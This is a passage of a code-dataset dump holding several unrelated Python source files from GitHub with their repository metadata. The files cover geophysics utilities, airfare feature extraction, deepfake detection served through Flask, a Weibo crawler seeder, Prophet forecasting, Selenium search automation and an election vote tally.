data)\n \n Parameters\n ----------\n\n \"\"\"\n geom_files = [f for f in os.listdir(path) if f.endswith('.geom')]\n if len(geom_files) != 1:\n raise ValueError('should be only one geom file in the current directory')\n \n fileNameElec = geom_files[0] \n line_number = 0\n line_of_injection = []\n line_of_remotes = []\n # Open the file in read only mode\n with open(path + fileNameElec, 'r') as read_obj:\n # Read all lines in the file one by one\n for line in read_obj:\n # For each line, check if line contains the string\n # print(line)\n line_number += 1\n if ('#Remote') in line:\n # If yes, then add the line number & line as a tuple in the list\n line_of_remotes.append((line_number))\n if ('#Injection') in line:\n line_of_injection.append((line_number))\n \n # print(line_of_injection)\n # print(line_of_remotes)\n RemLineNb= int(line_of_remotes[0])-1\n Injection= int(line_of_injection[0])-1\n \n coordE = np.loadtxt(path+ fileNameElec)\n pointsE= np.vstack(coordE[:RemLineNb,1:4])\n \n return RemLineNb, Injection, coordE, pointsE\n\n def filterTDIP(dataTDIP,id2rmv):\n valid = np.ones(len(dataTDIP.data('m')))\n valid[id2rmv] = 0\n\n \n #if remove == True:\n #dataTDIP.data.set('valid',valid)\n #dataTDIP.MA = dataTDIP.MA[:, dataTDIP.data['valid'].array()==1]\n #dataTDIP.data.removeInvalid()\n\n return dataTDIP, valid\n \n#%%\n# if Nfix is not None:\n# fig, ax = plt.subplots(nrows=1, ncols=4)\n# for i, g in enumerate(range(3,20,5)):\n# ax[i].set_ylabel('y [m]',fontsize=15)\n# ax[i].set_xlabel('x [m]',fontsize=15)\n# sc=ax[i].scatter(coordE_f[:,1], coordE_f[:,2], c=Obs('M'+str(g)).array(), \n# cmap ='coolwarm',s=5e2, vmin=-100)\n# cbar = plt.colorbar(sc,ax=ax[i]) \n# ax[i].set_title('Gate t:' + str(IPcurves.t[g]) + 's')\n# for ie in range(len(sensors[:,0])):\n# ax[i].annotate(str(ie+1), (sensors[ie,0],sensors[ie,1]))\n\n\n# #%%\n\n\n# if Nfix is not None:\n# fig, ax = plt.subplots(nrows=1, ncols=2)\n# ax[0].scatter(sensors[:,0],sensors[:,1],color='k',marker='.',label='pot. elec')\n# ax[0].scatter(sensors[B,0],sensors[B,1],color='b',marker='v',label='B. elec')\n# ax[0].scatter(sensors[A,0],sensors[A,1],color='r',marker='v',label='A. elec')\n# ax[0].scatter(sensors[Nfix,0],sensors[Nfix,1],color='g',marker='v',label='Nfix. elec')\n# for i in range(len(sensors[:,0])):\n# ax[0].annotate(str(i+1), (sensors[i,0],sensors[i,1]))\n \n# ax[0].legend(loc=\"upper right\") \n# ax[0].set_xlabel('x (m)')\n# ax[0].set_ylabel('y (m)')\n \n# # plot secondary voltage distribuion along a given profile\n# abmn=[]\n# for nn in range(len(IPcurves_f.data['a'])):\n# abmn.append([int(IPcurves_f.data(t)[nn]+1) for t in ['a', 'b', 'm', 'n']])\n# abmn = np.vstack(abmn)\n \n# # define the profile\n# pelecs = np.array([0,1,2,3,4,5,6,7]) +32\n# pelecs = np.array([0,1,2,3,4,5,6,7]) +16\n# pelecs = np.array([0,1,2,3,4,5,6,7]) +32\n# pelecs = np.array([5,13,21,29,37,45,53,61,69])\n \n# idp = np.zeros(len(pelecs))\n# Vg = np.zeros(20)\n# Vi = np.zeros([20,len(pelecs)])\n# for i,p in enumerate(pelecs):\n# if(len(np.where(p+1==abmn)[0]))>0:\n# idp[i]= np.where(p+1==abmn)[0][0]\n# for g in range(20):\n# gatestr = 'M' + str(g+1)\n# Vg[g] = IPcurves_f.data[gatestr].array()[int(idp[i])]\n# Vi[:,i] = Vg\n \n# for g in range(3,20,5):\n# ax[1].plot(pelecs+1,Vi[g,:],'o-', alpha=0.5, \n# label='Gate t:' + str(IPcurves.t[g]) + 's')\n# plt.legend() \n# plt.xlabel('# Electrode')\n# plt.ylabel('Secondary voltage (mV)')\n# plt.xticks(pelecs+1)\n\n# if Nfix is not None:\n# fig, ax = plt.subplots(nrows=1, ncols=2)\n# sc=ax[0].scatter(coordE_f[:,1], coordE_f[:,2], c=abs(Obs('r').array()), \n# cmap ='coolwarm',s=5e2, vmin=0.1, vmax=200) # norm=matplotlib.colors.Normalize()\n# cbar = plt.colorbar(sc,ax=ax[0])\n# cbar.set_label('V') \n# ax[0].scatter(sensors[:,0],sensors[:,1],color='k',marker='.',label='pot. elec')\n# ax[0].scatter(sensors[B,0],sensors[B,1],color='b',marker='v',label='B. elec')\n# ax[0].scatter(sensors[A,0],sensors[A,1],color='r',marker='v',label='A. elec')\n# ax[0].scatter(sensors[Nfix,0],sensors[Nfix,1],color='g',marker='v',label='Nfix. elec')\n# for i in range(len(sensors[:,0])):\n# ax[0].annotate(str(i+1), (sensors[i,0],sensors[i,1])) \n# ax[0].set_ylabel('y [m]',fontsize=15)\n# ax[0].set_xlabel('x [m]',fontsize=15)\n# sc=ax[1].scatter(coordE_f[:,1], coordE_f[:,2], c=Obs('gm').array(), \n# cmap ='coolwarm',s=5e2, norm=matplotlib.colors.Normalize())\n# cbar = plt.colorbar(sc,ax=ax[1]) \n# ax[1].set_title('Global chargeability')\n# ","repo_name":"BenjMy/rhizotron_tdip","sub_path":"rhizo/utils_rhizo.py","file_name":"utils_rhizo.py","file_ext":"py","file_size_in_byte":28652,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"14939867652","text":"# -*- coding: utf-8 -*-\n\nimport pandas as pd\nimport numpy as np\nimport os\n\nclass FeatureExtractor(object):\n def __init__(self):\n pass\n\n def fit(self, X_df, y_array):\n pass\n\n\n def quarter(self, m):\n if m <= 3:\n return 1\n elif m <= 6:\n return 2\n elif m <= 9:\n return 3\n return 4\n \n def trouver_airport(self, i):\n airports = {'ATL':0, 'ORD':1, 'LAX':2, 'DFW':3, 'DEN':4, 'JFK':5, 'SFO':6, 'CLT':7, 'LAS':8, 'PHX':9, 'IAH':10, 'MIA':11, 'MCO':12, 'EWR':13, 'SEA':14, 'MSP':15, 'DTW':16, 'PHL':17, 'BOS':18, 'LGA':19}\n for airport in airports:\n if airports[airport] == i:\n return airport\n pass\n\n\n def somme(self, tab):\n n,m = tab.shape\n t = 0\n for i in range(n):\n for j in range(m):\n t += tab[i][j]\n return t\n \n def completer_trous(self, Xs):\n airports = {'ATL':0, 'ORD':1, 'LAX':2, 'DFW':3, 'DEN':4, 'JFK':5, 'SFO':6, 'CLT':7, 'LAS':8, 'PHX':9, 'IAH':10, 'MIA':11, 'MCO':12, 'EWR':13, 'SEA':14, 'MSP':15, 'DTW':16, 'PHL':17, 'BOS':18, 'LGA':19}\n nb = len(airports)\n nb_quarters = 4\n nb_years = 3\n nb_features = 8\n \n Ys = np.zeros(nb*nb*nb_quarters*nb_years*nb_features, dtype = int)\n Ys = Ys.reshape((nb* nb* nb_quarters* nb_years, nb_features))\n ll = nb* nb* nb_quarters* nb_years\n l = len(Xs)\n \n tab = np.zeros(nb*nb*nb_quarters*nb_years)\n tab = tab.reshape((nb, nb, nb_quarters, nb_years))\n total_fares = np.zeros(nb*nb)\n total_fares = total_fares.reshape((nb, nb))\n total_pax = np.zeros(nb*nb*nb_quarters*nb_years)\n total_pax = total_pax.reshape((nb, nb, nb_quarters, nb_years))\n average_fares = np.zeros(nb*nb*nb_quarters*nb_years)\n average_fares = average_fares.reshape((nb, nb, nb_quarters, nb_years))\n \n #Création du tableau de tous les trajets et remplissage\n x = 0\n for i in range(l):\n ligne = Xs[i]\n orig = airports[ligne[1]]\n dest = airports[ligne[2]]\n fares = ligne[5]\n av_fares = ligne[6]\n pax = ligne[4]\n quart = ligne[3]\n year = ligne[7]\n tab[orig][dest][quart-1][year-2011] += 1\n total_fares[orig][dest] += fares\n average_fares[orig][dest][quart-1][year-2011] = av_fares\n total_pax[orig][dest][quart-1][year-2011] = pax\n x += 1\n \n\n # Remplissage des trous\n x = 0\n for i in range(nb):\n for j in range(nb):\n for y in range(nb_years):\n for q in range(nb_quarters):\n Ys[x][0] = int(x) + 1\n Ys[x][1] = i\n Ys[x][2] = j\n Ys[x][7] = int(y) + 2011\n Ys[x][3] = int(q) + 1\n if (tab[i][j][q][y] > 0):\n Ys[x][4] = int(pax)\n Ys[x][5] = int(fares)\n Ys[x][6] = fares / pax\n else:\n Ys[x][5] = total_fares[i][j] / 7\n Ys[x][4] = self.somme(total_pax[i][j][:][:]) / 7\n Ys[x][6] = Ys[x][5] / Ys[x][4]\n x += 1\n return Ys\n \n def transform(self, X_df):\n X_encoded = X_df\n path = os.path.dirname(__file__)\n \n airports = {'ATL':0, 'ORD':1, 'LAX':2, 'DFW':3, 'DEN':4, 'JFK':5, 'SFO':6, 'CLT':7, 'LAS':8, 'PHX':9, 'IAH':10, 'MIA':11, 'MCO':12, 'EWR':13, 'SEA':14, 'MSP':15, 'DTW':16, 'PHL':17, 'BOS':18, 'LGA':19}\n \n #uncomment the line below in the submission\n #path = os.path.dirname(__file__)\n #data_weather = pd.read_csv(os.path.join(path, \"data_weather.csv\"))\n #data_weather = pd.read_csv(\"data_weather.csv\")\n \n air_fares = pd.read_csv(os.path.join(path, \"AirFares2012Q1to2013Q2.csv\"), sep = ';')\n tab = air_fares.values\n # On complète les quarters qui n'existe pas sur un traje par la moyenne des air_fares sur le trajet\n data_air_fares = self.completer_trous(tab)\n n = len(data_air_fares)\n m = len(data_air_fares[0])\n\n data_air_fares = np.c_[data_air_fares, np.ones(n, dtype = str)]\n\n # définition d'une clé pour le join : ORG DES Quarter Year\n for i in range(n):\n data_air_fares[i][m] = str((data_air_fares[i][1])) + ' ' + str(data_air_fares[i][2]) + ' ' + str(data_air_fares[i][3]) + ' ' + str(data_air_fares[i][7])\n data_air_fares = np.delete(data_air_fares, (0), axis=1)\n \n X_air_fares = pd.DataFrame(data_air_fares[:], columns=['ORIGIN', 'DEST', 'Quarter', 'TotalPax', 'TotalFare', 'AverageFare', 'Year', 'Ref'])\n X_air_fares = X_air_fares.drop('ORIGIN', axis=1)\n X_air_fares = X_air_fares.drop('DEST', axis=1)\n X_air_fares = X_air_fares.drop('Quarter', axis=1)\n X_air_fares = X_air_fares.drop('TotalPax', axis=1)\n X_air_fares = X_air_fares.drop('TotalFare', axis=1)\n X_air_fares = X_air_fares.drop('Year', axis=1)\n \n X_air_fares.to_csv(path_or_buf='Result.csv', sep=';')\n\n \n X_encoded['DateOfDeparture'] = pd.to_datetime(X_encoded['DateOfDeparture'])\n X_encoded['year'] = X_encoded['DateOfDeparture'].dt.year\n X_encoded['month'] = X_encoded['DateOfDeparture'].dt.month\n #X_encoded['day'] = X_encoded['DateOfDeparture'].dt.day\n X_encoded['weekday'] = X_encoded['DateOfDeparture'].dt.weekday\n X_encoded['week'] = X_encoded['DateOfDeparture'].dt.week\n X_encoded['n_days'] = X_encoded['DateOfDeparture'].apply(lambda date: (date - pd.to_datetime(\"2011-09-01\")).days)\n\n X_encoded = X_encoded.join(pd.get_dummies(X_encoded['year'], prefix='y'))\n X_encoded = X_encoded.join(pd.get_dummies(X_encoded['month'], prefix='m'))\n #X_encoded = X_encoded.join(pd.get_dummies(X_encoded['day'], prefix='d'))\n X_encoded = X_encoded.join(pd.get_dummies(X_encoded['weekday'], prefix='wd'))\n X_encoded = X_encoded.join(pd.get_dummies(X_encoded['week'], prefix='w'))\n\n \n #X_weather = data_weather[['Date', 'AirPort', 'Max TemperatureC']]\n #X_weather = X_weather.rename(columns={'Date': 'DateOfDeparture', 'AirPort': 'Arrival'})\n #X_encoded = X_encoded.set_index(['DateOfDeparture', 'Arrival'])\n #X_weather = X_weather.set_index(['DateOfDeparture', 'Arrival'])\n #X_encoded = X_encoded.join(X_weather).reset_index()\n \n X_encoded = X_encoded.join(pd.get_dummies(X_encoded['Departure'], prefix='d'))\n X_encoded = X_encoded.join(pd.get_dummies(X_encoded['Arrival'], prefix='a'))\n \n X_encoded['quarter'] = X_encoded['month'].apply(lambda m: self.quarter(m))\n X_encoded['ori'] = X_encoded['Departure'].apply(lambda a: airports[a])\n X_encoded['dest'] = X_encoded['Arrival'].apply(lambda a: airports[a])\n\n X_encoded['Ref'] = X_encoded['ori'].apply(lambda a: str(a)) + ' ' + X_encoded['dest'].apply(lambda b: str(b)) + ' ' + X_encoded['quarter'].apply(lambda b: str(b)) + ' ' + X_encoded['year'].apply(lambda b: str(b))\n \n X_encoded = X_encoded.merge(X_air_fares, how='left',\n left_on=['Ref'], \n right_on=['Ref'], sort=False)\n \n X_encoded = X_encoded.drop('Ref', axis=1)\n #X_encoded = X_encoded.drop('quarter', axis=1)\n #X_encoded = X_encoded.drop('ori', axis=1)\n #X_encoded = X_encoded.drop('dest', axis=1)\n \n X_encoded['AverageFare'] = X_encoded['AverageFare'].astype(float)\n \n #X_encoded = X_encoded.drop('AverageFare', axis=1)\n \n X_encoded = X_encoded.drop('Departure', axis=1)\n X_encoded = X_encoded.drop('Arrival', axis=1)\n X_encoded = X_encoded.drop('month', axis=1)\n X_encoded = X_encoded.drop('DateOfDeparture', axis=1)\n X_encoded = X_encoded.drop('year', axis=1)\n #X_encoded = X_encoded.drop('weekday', axis=1)\n #X_encoded = X_encoded.drop('week', axis=1)\n X_encoded = X_encoded.drop('std_wtd', axis=1)\n X_encoded = X_encoded.drop('WeeksToDeparture', axis=1) \n \n #X_encoded.fillna(0)\n #print X_encoded.head()\n \n X_array = X_encoded.values\n return X_array","repo_name":"AD75006/DataCampAma","sub_path":"feature_extractor.py","file_name":"feature_extractor.py","file_ext":"py","file_size_in_byte":8485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32831609021","text":"from flask import Flask, render_template, jsonify\nimport tensorflow as tf\nfrom tensorflow.keras.models import load_model\nfrom tensorflow.keras import preprocessing, models, backend as K\nimport numpy as np\nimport cv2\nfrom mtcnn import MTCNN\nimport base64\n\napp = Flask(__name__)\n\nmodel = load_model('deepfake-detection2.h5')\n\n@app.route('/predict')\ndef predict():\n input_shape = (160,160,3)\n mtcnn = MTCNN()\n # 영상 불러오기\n videos_path = 'test1.mp4'\n vid_name = videos_path.split('/')[-1].split('.')[0]\n # 프레임으로 나눠서 저장\n cap = cv2.VideoCapture(videos_path)\n frame = 0\n detect_face_num = 0\n\n #heat_images = []\n\n\n\n def get_face_coord(img):\n # 얼굴 detect\n face = mtcnn.detect_faces(img)\n # 얼굴 없으면 다음 프레임\n if not face:\n return None\n # 얼굴 위치\n x1,y1,w,h = face[0]['box']\n x2 = min(x1+w, img.shape[1])\n y2 = min(y1+h, img.shape[0])\n x1 = max(x1, 0)\n y1 = max(y1, 0)\n return [y1,y2,x1,x2]\n\n\n def crop_img(face_coord):\n # 이미지 자르기\n y1,y2,x1,x2 = face_coord\n crop_img = img[y1:y2, x1:x2]\n crop_img = cv2.resize(crop_img, (input_shape[0], input_shape[1]))\n return crop_img\n\n\n @tf.function\n def predict_and_generate_heatmap(model, img_tensor):\n # 프레임 가져와서 히트맵 표시\n conv_layer = model.get_layer(\"conv_7b\")\n heatmap_model = models.Model([model.inputs], [conv_layer.output, model.output])\n # # Get gradient of the winner class w.r.t. the output of the (last) conv. layer\n with tf.GradientTape() as gtape:\n conv_output, predictions = heatmap_model(img_tensor)\n loss = predictions[:, tf.math.argmax(predictions[0])]\n grads = gtape.gradient(loss, conv_output)\n pooled_grads = K.mean(grads, axis=(0, 1, 2))\n\n heatmap = tf.reduce_mean(tf.multiply(pooled_grads, conv_output), axis=-1)\n heatmap = tf.math.maximum(heatmap, 0)\n \n max_heat = tf.math.reduce_max(heatmap)\n # if max_heat == 0:\n # max_heat = 1e-10\n heatmap /= max_heat\n return heatmap, predictions[0][1]\n\n\n\n\n pred = 0\n while(cap.isOpened()):\n if frame > 10 or detect_face_num > 5:\n break\n\n ret, img = cap.read()\n if ret == False:\n break\n \n #img = tf.convert_to_tensor(img)\n face_coord = get_face_coord(img)\n if not face_coord:\n continue\n detect_face_num+=1\n\n crop_image = crop_img(face_coord)\n\n # 이미지 전처리 및 예측\n img_tensor = (crop_image.flatten() / 255.0).reshape(-1, input_shape[0], input_shape[1], 3)\n img_tensor = tf.convert_to_tensor(img_tensor)\n\n heatmap, predict = predict_and_generate_heatmap(model, img_tensor)\n heatmap = np.array(heatmap)\n heatmap2 = cv2.resize(heatmap, (img_tensor.shape[2], img_tensor.shape[1]))\n heatmap2 = np.uint8(255 * heatmap2)\n heatmap2 = cv2.applyColorMap(heatmap2, cv2.COLORMAP_JET)\n hif = .5\n superimposed_img = heatmap2 * hif + crop_image\n \n #heat_images.append(superimposed_img.tolist())\n pred += predict\n\n output = f'output_{vid_name}_{detect_face_num}.jpeg'\n cv2.imwrite(output, superimposed_img)\n\n # 정확도 판별(평균)\n if detect_face_num:\n acc = pred/detect_face_num\n else:\n acc = 0\n acc = acc.numpy()\n acc = float(acc)\n\n # 정확도, 이미지 array -> json\n return jsonify(acc=acc) # ,heat_images=heat_images\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=5000)","repo_name":"GMIMG/Deepfake-Detection-Challenge-Chieer","sub_path":"web/flask/flask/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"214802276","text":"#!/usr/bin/env python\n# encoding: utf-8\n\"\"\"\nFile Description: \nAuthor: nghuyong\nMail: nghuyong@163.com\nCreated Time: 2020/4/15\n\"\"\"\nimport sys\n\nimport redis\n\nfrom settings import INIT_USERS\nfrom weibo.items import WeiboItem\nfrom weibo.settings import REDIS_URL\nfrom weibo.utils import redis_utils\nfrom weibo.utils.redis_utils import RedisClient\n\nredis_client = redis.Redis.from_url(REDIS_URL)\n\n\ndef redis_init(start_url, urls):\n r = RedisClient().db\n print(f'Add urls to {start_url}')\n for url in urls:\n r.sadd(start_url, url)\n\n\ndef init_m_weibo_redis_spider():\n redis_utils.bak_weibo_filter()\n urls = []\n for init_weibo in INIT_USERS:\n urls.append(WeiboItem.url.format(uid=init_weibo, page=1))\n # urls.append(WeiboItem.url.format(uid=\"5675889356\", page=1))\n redis_init(WeiboItem.start_url, urls)\n\n\nif __name__ == '__main__':\n mode = sys.argv[1]\n mode_to_fun = {\n # 'user_detail': init_m_user_detail_redis_spider,\n # 'user_attention_tag': init_m_user_attention_tag_redis_spider,\n # 'user_attention_member': init_m_user_attention_member_redis_spider,\n # 'comment': init_m_comment_redis_spider,\n # 'repost': init_m_repost_redis_spider,\n 'weibo': init_m_weibo_redis_spider,\n # 'user_weibo': init_m_user_weibo_redis_spider,\n # 'attitude': init_m_attitude_redis_spider,\n }\n mode_to_fun[mode]()\n","repo_name":"rensuperk/weibo_crawler","sub_path":"weibo/redis_init.py","file_name":"redis_init.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73365730614","text":"from typing import TypedDict, Unpack\n\nfrom apps.anime.tasks import set_field_color\nfrom django.db.models.signals import post_save\nfrom django.dispatch import receiver\n\nfrom .models import AnimeModel\n\n\nclass DjangoInstance(TypedDict):\n instance: AnimeModel\n\n\n@receiver(post_save, sender=AnimeModel)\ndef banner_background_color_handler(\n **kwargs: Unpack[DjangoInstance],\n) -> None:\n instance = kwargs[\"instance\"]\n\n # Set Background Banner Image Color\n if (hasattr(instance, \"banner\")) and not instance.banner_background_color:\n set_field_color.delay(\n instance.pk,\n \"banner_background_color\",\n \"banner\",\n )\n\n # Set Background Cover Image Color\n if (hasattr(instance, \"cover\")) and not instance.cover_background_color:\n set_field_color.delay(\n instance.pk,\n \"cover_background_color\",\n \"cover\",\n )\n","repo_name":"baseplate-admin/CoreProject","sub_path":"backend/django_core/apps/anime/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","stars":99,"dataset":"github-code","pt":"21"} +{"seq_id":"74146973492","text":"\"\"\"\nCommand line argument options parser.\nAdopted and modified from https://github.com/pytorch/examples/blob/master/imagenet/main.py\nUsage with two minuses \"- -\". Options are written with a minus \"-\" in command line, but\nappear with an underscore \"_\" in the attributes' list.\n\"\"\"\n\nimport argparse\n\nparser = argparse.ArgumentParser(description='PyTorch Intrinsic Ordering Dataset Metrics Correlation')\n\n# Dataset and loading\nparser.add_argument('--dataset', default='CIFAR10', help='name of dataset')\nparser.add_argument('-j', '--workers', default=4, type=int, help='number of data loading workers (default: 4)')\nparser.add_argument('-p', '--patch-size', default=32, type=int, help='patch size for crops (default: 32)')\n\nparser.add_argument('--multilabel', default=False, action='store_true', help='if dataset has multiple'\n ' labels per image')\nparser.add_argument('--save-prob-vector', default=False, action='store_true', help='for single label:'\n 'save whole prob vector and not only max')\nparser.add_argument('--randomize-labels', default=False, action='store_true',\n help='randomize labels for every batch')\nparser.add_argument('-cp', '--corrupt-prob', default=0., type=float, help='label corruption/randomization probability/level (default: 0.)')\n\n# Architecture and weight-init\nparser.add_argument('-a', '--architecture', default='Net', help='model architecture')\nparser.add_argument('--weight-init', default='kaiming-normal',\n help='weight-initialization scheme (default: kaiming-normal)')\n\n# Training hyper-parameters\nparser.add_argument('--device-id', default=0, type=int, help='gpu device id on which to train')\nparser.add_argument('--num-networks', default=5, type=int, help='number of networks to train')\nparser.add_argument('--epochs', default=120, type=int, help='number of total epochs to run')\nparser.add_argument('-b', '--batch-size', default=128, type=int, help='mini-batch size (default: 128)')\nparser.add_argument('-lr', '--learning-rate', default=1e-3, type=float, help='initial learning rate (default: 1e-3)')\nparser.add_argument('--sgd-momentum', default=0.9, type=float, help='SGD momentum (default: 0.9)')\nparser.add_argument('-bn', '--batch-norm', default=1e-5, type=float, help='batch normalization (default 1e-5)')\nparser.add_argument('-wd', '--weight-decay', default=1e-5, type=float, help='weight decay (default 1e-5)')\n\nparser.add_argument('--optimizer-type', default='SGD', help='Adam or SGD')\nparser.add_argument('--scheduler-type', default='', help='scheduler type: CosineAnnealingLR or OneCycleLR')\nparser.add_argument('--eta-min', default=5e-4, type=float, help='min learning rate (default: 5e-4)')\nparser.add_argument('--step-gamma', default=0.2, type=float, help='StepLR: factor to reduce lr every step-size steps (default: 0.2)')\nparser.add_argument('--step-size', default=10, type=float, help='StepLR: step-size (default: 10)')\n\n# Resuming training\nparser.add_argument('--resume', default=False, action='store_true',\n help='if resume training')\n\n# Computation steps\nparser.add_argument('--save-dir', default='', help='directory with results to save/saved results')\nparser.add_argument('--compute-dataset-metrics', default=False, action='store_true', help='compute dataset metrics, like entropy')\nparser.add_argument('--train-networks', default=False, action='store_true', help='train several networks')\nparser.add_argument('--visualize-results', default=False, action='store_true', help='visualize agreement '\n 'and correlation with'\n 'dataset metrics')\nparser.add_argument('--agreement-type', default='single_label',\n help='defines which kind of multilabel agreement/accuracy to use')","repo_name":"ccc-frankfurt/intrinsic_ordering_nn_training","sub_path":"cmdparser.py","file_name":"cmdparser.py","file_ext":"py","file_size_in_byte":3994,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"} +{"seq_id":"2999600651","text":"#open file \n# r - read mode\n# w - write mode\n# a - append mode (append to the end of the file)\n# r+ - read and write\n\n# create a new file (if file does not exist) in append mode\nmy_opened_file = open(\"myfile.txt\", \"a\")\n# add a new line in the file\nmy_opened_file.write(\"\\ntest me\") \nmy_opened_file.close()\n\n\n# create a new file (if file does not exist) in write mode\nmy_new_file = open(\"my_new_file\", \"w\")\n# add contents to new file, if file exists it will overwrite its contents\nmy_new_file.write(\"my new content\")\nmy_new_file.close()","repo_name":"shadibdair/Python","sub_path":"Day 12 - 09.01.2019/01-writing-files.py","file_name":"01-writing-files.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7225520717","text":"from datetime import datetime\nimport typing\n\nimport pandas as pd\n\nimport prophet\n\nimport holidays\n\n\ndef run_forecast(\n dataset: pd.DataFrame, config: dict\n) -> typing.Tuple[pd.DataFrame, pd.DataFrame]:\n target = config[\"target\"]\n\n fit_parameters = config[\n \"forecast_parameters\"\n ].copy() # you must force a copy here or it assigns a reference to\n # the dictionary\n\n if config[\"holidays\"]:\n holiday_df = pd.DataFrame.from_dict(\n holidays.US(years=[2017, 2018, 2019, 2020, 2021]).items()\n ) # type: pd.DataFrame\n holiday_df.rename({0: \"ds\", 1: \"holiday\"}, inplace=True, axis=1)\n fit_parameters[\"holidays\"] = holiday_df\n fit_parameters[\"growth\"] = \"flat\"\n\n model = prophet.Prophet(**fit_parameters, mcmc_samples=0)\n\n if target == \"mobile\":\n step_change_date = datetime.strptime(\"2021-1-24\", \"%Y-%m-%d\").date()\n dataset[\"regressor_00\"] = dataset.apply(\n lambda x: 0 if x[\"ds\"] <= step_change_date else 1, axis=1\n ) # because of a step change in the data mobile data needs this\n\n model.add_regressor(name=\"regressor_00\")\n\n fit_model = model.fit(dataset)\n\n _ = fit_model.predict() # type: pd.DataFrame\n\n periods = remaining_days(dataset[\"ds\"].max(), config[\"stop_date\"])\n\n future = fit_model.make_future_dataframe(periods=periods) # type: pd.DataFrame\n\n if target == \"mobile\":\n future[\"regressor_00\"] = 1\n\n future_values = fit_model.predict(future)\n\n future_values = future_values[future_values[\"ds\"] > datetime.today()]\n\n uncertainty_samples_raw = fit_model.predictive_samples(future)\n\n uncertainty_samples = pd.DataFrame.from_records(uncertainty_samples_raw[\"yhat\"])\n\n uncertainty_samples[\"ds\"] = future[\"ds\"]\n\n return future_values, uncertainty_samples\n\n\ndef remaining_days(max_day, end_date) -> int:\n if type(max_day) == str:\n parts = [int(part) for part in max_day.split(\"-\")]\n max_day = datetime(year=parts[0], month=parts[1], day=parts[2]).date()\n\n if type(end_date) == str:\n parts = [int(part) for part in end_date.split(\"-\")]\n end_date = datetime(year=parts[0], month=parts[1], day=parts[2]).date()\n\n return (end_date - max_day).days\n","repo_name":"xluo-ds/docker-etl","sub_path":"jobs/kpi-forecasting/kpi-forecasting/Utils/FitForecast.py","file_name":"FitForecast.py","file_ext":"py","file_size_in_byte":2232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"6204426301","text":"from selenium import webdriver\r\nfrom selenium.webdriver.common.keys import Keys\r\n\r\nbase_url=\"https://www.amazon.in\"\r\n\r\nsearch_term=input ('What do you want to search for in amazon ?')\r\n\r\ndriver=webdriver.Chrome(executable_path=r'C:/Users/dheem/Downloads/chromedriver_win32/chromedriver.exe')\r\n\r\ndriver.maximize_window()\r\n\r\ndriver.implicitly_wait(10) #10 is in seconds\r\n\r\ndriver.get(base_url)\r\n\r\nassert \"Amazon\" in driver.title\r\n\r\nsearchTextBox=driver.find_element_by_id(\"twotabsearchtextbox\")\r\n\r\nsearchTextBox.clear()\r\n\r\nsearchTextBox.send_keys(search_term)\r\n\r\nsearchTextBox.send_keys(Keys.RETURN)\r\n\r\nassert f\"Amazon.in:{search_term}\" in driver.title\r\n\r\nassert \"No results found.\" not in driver.page_source\r\n\r\ndriver.close()","repo_name":"dheemanthrk/yo","sub_path":"amazon1.py","file_name":"amazon1.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7650729013","text":"\n#load the modules\nimport csv\nimport os\n\n#total number of votes\n#number of candidates\n# Total votes for each candidate\n# percentage of votes each candiadate got\n# Winner of the election\n\n#Read the election_results.csv from the Resources folder in Asynch\n#Read file using direct method with WITH statement or indirectly with the open()\n#file_to_load = 'Resources/Election_results.csv'\n#using the os method to load a file from indirect path\nfile_to_load = os.path.join(\"Resources\",\"Election_results.csv\")\n#convert to txt file\nfile_to_save = os.path.join(\"analysis\",\"Election_analysis.txt\")\n\n#initialize the total vote count\ntotal_votes = 0\ncandidate_options = []\ncandidate_votes = {}\nwinning_count = 0\nwinning_percentage = 0\nwinning_candidate = 0\n\nwith open(file_to_load) as election_data:\n#election_data = open(file_to_load,'r')\n\n #print(election_data)\n#election_data.close()\n\n\n#with open(file_to_save, \"w\") as txtfile:\n#outfile.write(\"Hello\")\n#outfile.close()\n#txtfile.write\n\n#Read and analyze the data\n file_reader = csv.reader(election_data)\n#print header row\n headers=next(file_reader)\n print(headers)\n\n for row in file_reader:\n total_votes += 1\n candidate_name = row[2]\n if candidate_name not in candidate_options:\n\n candidate_options.append(candidate_name)\n candidate_votes[candidate_name] = 0\n candidate_votes[candidate_name] += 1\n\nwith open(file_to_save,\"w\") as txt_file:\n # Print the final vote count to the terminal.\n election_results = (\n f\"\\nElection Results\\n\"\n f\"-------------------------\\n\"\n f\"Total Votes: {total_votes:,}\\n\"\n f\"-------------------------\\n\")\n print(election_results, end=\"\")\n # Save the final vote count to the text file.\n txt_file.write(election_results)\n\n for candidate_name in candidate_votes:\n votes = candidate_votes[candidate_name]\n votes_percentage = float(votes)/float(total_votes) * 100\n #print(f\"{candidate_name}: received {round(votes_percentage,2)}% of the votes. \")\n #print(f\"{candidate_name}: {votes_percentage:.1f}%({votes:,})\\n\")\n\n if (votes > winning_count) and (votes_percentage > winning_percentage):\n winning_votes = votes\n winning_percentage = round(votes_percentage,2)\n winning_candidate = candidate_name \n\n winning_candidate_summary = (\n f\"----------------------\\n\"\n f\"winner: {winning_candidate}\\n\"\n f\"winning vote_count : {winning_votes:,}\\n\"\n f\"winning percentage : {winning_percentage:,}\\n\"\n f\"----------------------\\n\")\n\n print(winning_candidate_summary)\n\n\n\n #print(total_votes)\n #print(candidate_options)\n #print(candidate_votes)\n 